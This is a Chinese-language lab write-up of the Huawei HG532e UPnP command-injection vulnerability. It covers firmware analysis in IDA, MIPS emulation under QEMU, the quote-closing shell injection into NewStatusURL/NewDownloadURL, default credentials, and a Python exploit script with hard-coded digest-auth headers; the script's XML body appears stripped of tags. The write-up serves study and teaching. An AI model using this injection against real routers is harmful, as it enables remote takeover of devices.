官方
该远程命令执行漏洞是位于UPnP服务中的,该设备支持名为DeviceUpgrade的一种服务类型
设备可以通过这种服务更新固件,具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求,请求中包含NewStatusURL及NewDownloadURL两个元素。远程管理员可以通过该漏洞在设备上执行任意命令 将shell元字符 注入NewStatusURL以及NewDownloadURL元素中。
下载固件:
https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar
解压分析固件
上述简介中讲过,这个漏洞集中在UPnP服务中,所以拖到IDA进行分析
查找相关敏感的字符串
交叉引用跟进去查看
发现和TOTOLink相似的漏洞点:在没有任何过滤的情况下,snprintf拼接好直接执行
大概流程就是程序通过ATP_XML_GetChildNodeByName函数获取xml中的节点,并且未经过检查就直接与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -b拼接,然后使用system函数进行执行。
下面搭建环境利用
下载启动虚拟机需要的镜像:上面说过,mips,32位,大端
镜像:
https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
网络配置:(与docker中bridge模式配置差不多)
创建虚拟网桥:
sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up
创建tap接口,添加到网桥
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0
启动虚拟机:
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic
虚拟机中配置ip
ifconfig eth0 192.168.153.2/24 up
然后将固件中的文件系统拷进去
scp -r squashfs-root/ [email protected]:~/
在虚拟机中挂载dev和proc
mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc
启动shell
chroot squashfs-root sh
因为后面启动路由器之后,ip会变化,所以另开一个终端启动路由器,这个终端用来后面修改IP地址
ssh [email protected]
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic
然后到刚在那个预留的终端中修改IP
ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up
然后就可以正常使用了;账号密码:admin,@Hua1234
根据流程,利用思路大概是:
首先在输入单引号将前面的字符串闭合,然后再注入相应的执行命令即可,如需要执行cat /flag命令,则需要做的就是构造’;cat /flag;节点即可。通过ATP_XML_GetChildNodeByName函数处理后,该节点字符串与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -b拼接得到upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r ';cat /flag; -d -b,然后执行system调用,实现注入。
利用脚本
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''
;echo "pmjtest">>/bin/hell/1;
HUAWEIUPNP
'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
利用效果
‘popen’, ‘system’, ‘doSystemCmd’, ‘doSystembk’, ‘doSystem’, ‘COMMAND’, ‘_popen’, ‘_system’, ‘_doSystemCmd’, ‘_doSystembk’, ‘_doSystem’, ‘_COMMAND’,‘sprintf’, ‘snprintf’, ‘_sprintf’, ‘_snprintf’
这是我的对这两个设备进行漏洞挖掘的思路总结。
参考:https://xz.aliyun.com/t/8494